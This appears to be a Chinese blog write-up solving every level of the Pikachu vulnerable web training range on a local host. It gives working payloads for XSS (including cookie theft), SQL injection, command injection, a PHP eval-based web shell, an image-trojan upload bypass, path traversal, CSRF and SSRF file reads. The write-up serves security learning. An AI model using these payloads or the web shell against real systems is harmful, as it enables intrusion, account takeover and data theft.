目录
一.暴力破解
1.基于表单的暴力破解
2.验证码绕过(on server)
3.验证码绕过(client)
4.token防爆破
二.Cross-Site Scripting
1.先了解XSS
2.反射型xss(get)
3.反射型xss(post)
4.存储型xss
5.DOM型xss
6.DOM型xss-x
7.xss之盲打
8.xss之过滤
9.xss之htmlspecialchars
10.xss之href输出
11.xss之js输出
三.CSRF
1.CSRF(get)
2.CSRF(post)
3.CSRF Token
四.SQL注入
1.数字型注入(post)
2.字符型注入(get)
3..搜索型注入
4.xx型注入
5.insert/update注入
(1)update注入
(2)insert注入
6.delete注入
7."http header"注入
8.盲注(base on boolian布尔类型)
9.盲注(based on time时间类型)
10.宽字节注入
五.RCE
1.exec"ping"
2.exec"eval"
六.File Inclusion
1.File Inclusion(local)
2.File Inclusion(remote)
七.Unsafe Filedownload
1.过关
八.Unsafe Fileupload
1.client check
2.MIME type
3.getimagesize
九.Over Permission
1.水平越权
2.垂直越权
十.../../(目录遍历)
1.过关
十一.敏感信息泄露
1.过关
十二.PHP反序列化
1.过关
十三.XXE
1.过关
十四.URL重定向
1.过关
十五.SSRF
1.SSRF(curl)
2.SSRF(file_get_content)
一.暴力破解
1.基于表单的暴力破解
bp抓包,Cluster bomb爆破,破解出账号和密码
2.验证码绕过(on server)
bp抓包不放行,使验证码不刷新,然后再Cluster bomb爆破,破解出账号和密码
3.验证码绕过(client)
将浏览器的javascript禁用掉,使验证码消失,bp抓包,然后Cluster bomb爆破
4.token防爆破
bp抓包,因为多了个token,这次改为Pitchfork爆破,选好各自的字典(在Payload Options处,token的部署查看我之前的博客),线程改为1,然后进行爆破。
二.Cross-Site Scripting
1.先了解XSS
概念:跨站脚本攻击
类型:反射型、存储型、DOM型
原理、危害、利用方式等
2.反射型xss(get)
因为前端页面输入的长度有限制,先将其修改,再使用<script> 定义客户端脚本,如:
<script>alert("1")</script>
出现1的弹窗,且url中显示参数内容
3.反射型xss(post)
测试<script>alert('1')</script>,但url不显示,所以不能把恶意代码嵌入url中
测试同时bp抓包,用Generatr CSRF PoC写出html代码,然后复制代码到记事本,并以.html命名,打开该文件,然后将网址链接发给受害者,让其点开,出现1的弹窗
4.存储型xss
输入留言,发现其可以永久存储并输出我们的留言,意思就是我们输入的东西可以被浏览器储存起来,这些东西可以是恶意代码,这就是与反射型xss不同的地方
插入payload: <script>alert('xss')</script>
成功弹窗!
5.DOM型xss
DOM型xss属于纯前端的漏洞,在我们输入后会得到一个字符串,然后通过字符换拼接方式拼接到 a href中。
F12,发现a元素href属性的值改编成了我们的输入值
所以要构造一个闭包函数到输入文本框中
插入payload:# ' οnclick="alert(123)">
再点击'>what do you see? //然后成功弹窗
或者插入payload:# ' οnmοuseοver="alert(123)">
然后将鼠标碰到'>what do you see? //然后成功弹窗
6.DOM型xss-x
上F12审查,发现有domxss()出现
查找function domxss(),给出两个提示
按照第一个提示:插入payload:'><img src="#" οnmοuseοver="alert('xss')">
再点击“有些费尽心机想要忘记的事情,后来就真的忘掉了”
然后鼠标碰住回显的小图标 //成功弹窗
按照第二个提示:插入payload:' οnclick="alert('xss')">,将dom闭合
再点击“有些费尽心机想要忘记的事情,后来就真的忘掉了”
再点击“'>就让往事都随风,都随风吧” //成功弹窗
7.xss之盲打
见空插空,分别插入payload:<script>alert(1)</script>和<script>alert(2)</script>
查看提示登录后台,访问后台地址并登录,先后出现内容分别为1和2的两个弹窗
然后发现输入的内容被记录了下来(本质上也是一种存储xss)
8.xss之过滤
这一题存在过滤,经过尝试后发现是大小写过滤
输入payload:<SCript>alert(1)</SCript> //成功弹窗
查看源码发现仅仅是对<script进行过滤
输入<button οnclick="alert('123')">点我</button> //成功弹窗
9.xss之htmlspecialchars
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
预定义的字符是:
(1)& (和号)成为 & (2)" (双引号)成为 "
(3)' (单引号)成为 ' (4)< (小于)成为 <
(5)> (大于)成为 >
该函数默认不过滤单引号,只有设置才可以过滤单引号;
插入payload:'οnclick='alert(123)' //成功弹窗
或者插入payload:javascript:alert(1) //成功弹窗
10.xss之href输出
插入payload:<script>alert(1)<script>,没有弹框
鼠标右键–查看网页源代码,发现左右尖括号和单引号都被html编码了,这样的话,闭合标签或者闭合属性都行不通了。
看提示说跟a标签的href,img里的src属性有关
网上查询相关资料,href 属性的值可以是任何有效文档的相对或绝对 URL,包括片段标识符和 JavaScript 代码段
所以可以插入payload:javascript:alert(document.cookie) //成功弹窗
11.xss之js输出
还是先插入payload:<script>alert(1)<script>,没有弹框
继续右键查看源代码,发现输入的东西跑到<script>
标签内了,并且没有被编码
无中生有出一个js语句得以解决,首先要用’;闭合掉当前的语句,然后插入新语句,然后再用//注释掉老语句遗留下来的’;
输入payload:';alert(1);//
成功弹窗
三.CSRF
1.CSRF(get)
选择提示中的用户登录,假设用户要修改个人信息,提交并用bp抓包,发现是GET型,将除了用户要修改信息以外的其他信息进行修改,然后将url复制下来,伪造成链接让用户去点击,链接被点击后,这些信息就在用户不知情的情况下被修改完了。
2.CSRF(post)
选择提示中的用户登录,还是假设用户要修改个人信息,提交并用bp抓包,发现是POST型,用Generate CSRF PoC打开并修改其他信息(具体操作查看我以前博客),再利用这里自带的工具伪造成链接让用户去点击,打开后是一个按钮,用户按了按钮后,其信息就被修改了。
3.CSRF Token
依旧是先登录进去,假设用户要修改个人信息,提交并用bp抓包,发现也是GET型,但有token验证,返回包(Repeater)里也有token
而用一次token之后就会失效,返回包里含有下一次的token值,我们可以利用这一点来绕过
将数据包发送到重发器,将返回包里的token值复制过来,然后将其他信息进行修改,然后将url复制下来,再伪造成链接让用户去点击,点击后其信息就又被修改了。
四.SQL注入
1.数字型注入(post)
选择查询id为1的用户,查看上方url,发现没有传参,说明其实post类型,bp抓包,通过post传参插入sql语句,进行找列数,爆库,爆表,爆列,爆数据,读文件,写马等操作。
2.字符型注入(get)
输入用户名,查看上方url有显示,说明是get类型,通过插入sql语句修改url(用'来闭合),随后访问来进行找列数,爆库,爆表,爆列,爆数据,读文件,写马等操作。
3..搜索型注入
只输个“k”,网页返回所有带k的,且上面同样有url显示,还是通过插入sql语句修改url(用%'来闭合),随后访问来进行找列数,爆库,爆表,爆列,爆数据,读文件,写马等操作。
4.xx型注入
输入用户名,查看上方url有显示,还是通过插入sql语句修改url(这次用')来闭合),随后访问来进行找列数,爆库,爆表,爆列,爆数据,读文件,写马等操作。
5.insert/update注入
先了解一下updatexml()函数的用法
(1)update注入
点击注册,在用户栏写如下代码(注意闭合):
' or updatexml(1, concat(0x7e, database()), 0) or '
密码那些随便写,提交后,回显是个报错,但其已经回显了数据库名
同理可以把database()改为其他函数来获得更多数据库信息
(2)insert注入
注册好一个用户666并登录
点击修改个人信息,再在性别一栏输入刚才的代码:
' or updatexml(1, concat(0x7e, database()), 0) or '
提交后同样得到了数据库名
同理也可以把database()改为其他函数来获得更多数据库信息
6.delete注入
随便输入一条留言666,再点击删除,同时用bp抓包,发现其是GET传参
之后在id=后输入如下代码将其闭合
1 or updatexml(1, concat(0x7e, database()), 0)
再将此段代码转换为特殊字符的url编码(具体操作查看我以前博客)
最后send,就得到了数据库名(和上题一样,还是以报错的形式)
7."http header"注入
先了解一下什么是"http header"注入
按提示,我们用admin登录,刷新一下并用bp抓包
send to Repeater后,再修改user agent 内容为如下
' or updatexml(1,concat(0x7e, database()), 0) or '
最后send,成功得到数据库名(仍以报错的方式)
8.盲注(base on boolian布尔类型)
布尔类型为只有我们输入的条件为真时,才能输出正确信息
输入kobe' and length(database())=1#,显示您输入的username不存在.......
再把1换成2,以此类推,发现=7的时候,输出了正确信息
以此就知道了数据库长度为7,同理,更换其他函数来测试其他数据
9.盲注(based on time时间类型)
时间类型为无论输入是否正确,都返回相同数据,我们无法判断自己输入的条件是否为真,所以在后面加了一个时间限制
输入kobe' and if(length(database())=7, sleep(1),5)#
意思为:若length(database())=7正确,延迟1秒返回:若不正确,延迟5秒返回
根据回显时间的不同来确定哪句为正确信息
10.宽字节注入
先了解宽字节的原理(便于后面的理解)
接下来看题,随便输入一个用户123,用bp抓包发现其是post类型的
再send to Repeater
然后将name修改为如下代码(注意f后面有个单引号)
1%df' union select 1,2#
最后send一下,成功得到我们想要的信息!
五.RCE
1.exec"ping"
远程系统命令执行,后台对用户输入的IP地址进行一次 ping 测试,并返回测试结果。
ping 一下本地127.0.0.1,成功
输入127.0.0.1 && whoami,成功得到域和用户名
输入127.0.0.1 && dir,可以查看当前路径和路径下的文件
2.exec"eval"
远程代码执行,后台把用户的输入作为代码的一部分进行执行。
输入:phpinfo(); //phpinfo()函数被执行了
输入:fputs(fopen('shell.php','w'),'<?php assert($_POST[fin]);?>');
//返回没有什么特别,但是到本关目录下查看发现木马文件已经上传成功。
六.File Inclusion
1.File Inclusion(local)
提交查询后发现url有显示,其中包含了一个文件file1.php,bp抓包爆破,爆破位置设置为文件名中的数字,发现有file6/7/10/100.php四种长度
分别将url中的file1.php改为file6.php、file7.php、file10.php、file100.php
file6.php是包含用户名和密码的隐藏文件
file7.php、file10.php和file100.php都返回了类似的报错信息
结合报错信息中泄露的fi_local.php文件位置,可以算出相对路径为../../../../../../windows/win.ini,代入url中组成payload:
http://127.0.0.1/pk/vul/fileinclude/fi_local.php?filename=../../../../../../windows/win.ini&submit=%E6%8F%90%E4%BA%A4
成功读取到C:\Windows\win.ini文件的内容
2.File Inclusion(remote)
先将allow_url_include打开(具体操作看我以前博客)
提交查询后发现url中把include()函数的完整参数给出来了。
所以这关其实除了远程文件包含,还可以本地文件包含使用绝对路径
直接在filename后加上想要的C:\Windows\win.ini,访问:
http://127.0.0.1/pk/vul/fileinclude/fi_remote.php?filename=C:\Windows\win.ini&submit=%E6%8
F%90%E4%BA%A4
成功读取到C:\Windows\win.ini文件的内容
七.Unsafe Filedownload
1.过关
点击下载头像图片之后直接下载了,没有页面跳转,地址栏的url没有变化
右键查看源代码
<a href="execdownload.php?filename=kb.png" >科比. 布莱恩特</a> 对应的就是文件下载的点
把execdownload.php?filename=和当前网页路径组装起来,后面接上我们想要的文件路径:
比如:
http://ip/pk/vul/unsafedownload/execdownload.php?filename=../../../../../../windows/win.ini
访问该地址,win.ini将被下载
八.Unsafe Fileupload
1.client check
上传phpninfo文件,命名为1.php,提示说不符合文件要求
看提示说只让上传图片文件,把1.php后缀改为.png,开始上传并bp抓包,再send to repeater
再把文件名改回成1.php,点send,php文件上传成功,且暴露了路径
访问下面链接并成功
2.MIME type
看提示说还是只允许上传图片,我们照样上传1.php,提示又说只能是jpg,jpeg,png形式的
继续把1.php后缀改为.png,开始上传并抓包,再send to repeater
后面的过程就和第一题一样了,不同之处在于只有上传文件的MIME类型包含在预定义的MIME白名单之中时,才允许上传,即只允许上传'image/jpg'、'image/jpeg'、'image/png'这三种MIME类型的文件。
3.getimagesize
先了解getimagesize()函数
照前两关那样上传1.png,被识别出了假图片
上传一个真的jpeg文件,据结果后端代码修改了文件名,但是还把文件保存路径回显了出来
绕过getimagesize ( )检测——制作图片木马
准备php脚本1.php,再准备一张图片666.png
win+r输入cmd,进入命令提示符
输入命令copy /b 666.png + 1.php 123.png,在桌面生成123.png的图片马
再回到题目上传该图片,发现上传成功,同样把文件保存路径回显了出来!
九.Over Permission
1.水平越权
选择用户如lucy登录,点击查看个人信息,我们注意到了上面url有显示,说明是get传参
把url中的lucy改为lili,发现我们没登录就显示出了lili的信息,换成kobe也是一样的
查看源码发现查找用户信息的时候传入的参数是直接从url中获取的,没有校验当前用户,所以才造成了此漏洞
2.垂直越权
选择用admin登录,有查看,添加,删除的权限
换pikachu登录,其只有查看权限
换回admin,我们试着添加一个用户xunlei,记录其的url
退出admin,换为用pikachu登录
据刚才的url修改地址栏的url:http://127.0.0.1/pk/vul/overpermission/op2/op2_admin_edit.php
就直接来到了添加用户的界面,但我们发现,pikachu也有了添加用户的权限
再随便创建一个用户Tom
创建完之后会跳到登录页面,用pikachu登录之后,发现用户Tom已经创建成功!
十.../../(目录遍历)
1.过关
分别点进去两个链接,并查看他们的url
url中(以第一个为例),在jarheads加上../../(../表示返回上一层目录),虽然报错了,但是显示出具体路径了。
创建一个php文件,命名为123.php,写入phpinfo()函数,并把它放在刚才的文件路径下
构造url来访问刚刚的php文件或者是本地文件如win.ini
十一.敏感信息泄露
1.过关
F12看前端代码,发现了用户名和密码,登录后并记录url,对比登录前的url,发现少了find
在登录界面直接把url的find去掉,可以登录成功,以此绕过了登录系统
十二.PHP反序列化
1.过关
先了解什么是PHP反序列化、序列化serialize()、反序列化unserialize()
了解后回到题目插入payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";} //弹窗
如果想要弹窗返回cookie,修改payload为:
O:1:"S":1:{s:4:"test";s:39:"<script>alert(document.cookie)</script>";} //弹窗
十三.XXE
1.过关
了解XML声明、文档类型定义 DTD、文档元素这些基础知识
然后输入相关xml代码来获取相关信息,如判断内部实体、查看本地文件(外部实体)
十四.URL重定向
1.过关
四句话分别点一下
第一句和第二句都没反应,第三句返回到了URL重定向概述界面
第四句,有回显,如下,还发现url多了个“url=i”
F12查看前段代码,发现了原因,其他的都是空白,唯有第四句有内容
将第四句url后面的内容修改一下,上传恶意url,让其跳转!
十五.SSRF
1.SSRF(curl)
先了解一下curl函数(具体看我以前博客)
回到题目,点击那句话,出现了一首诗,还清楚地显示了url
我们可以利用curl支持的多种协议,通过修改url来探测服务器内网信息
如:查看本地文件(file协议):?url=file:///c:/windows/win.ini
2.SSRF(file_get_content)
再了解一下 file_get_content()相关函数的用法(具体看我以前博客)
回到题目,再点击那句话,同样出现了一首诗,不同的是,上面的“url”变为了“file”
还是先file协议进行文件读取:
查看本地文件 payload:?file=file:///c:/windows/win.ini
更多相关知识详细请看我之前写过的有关pikachu靶场的所有博客
哎呀妈呀,终于写完了!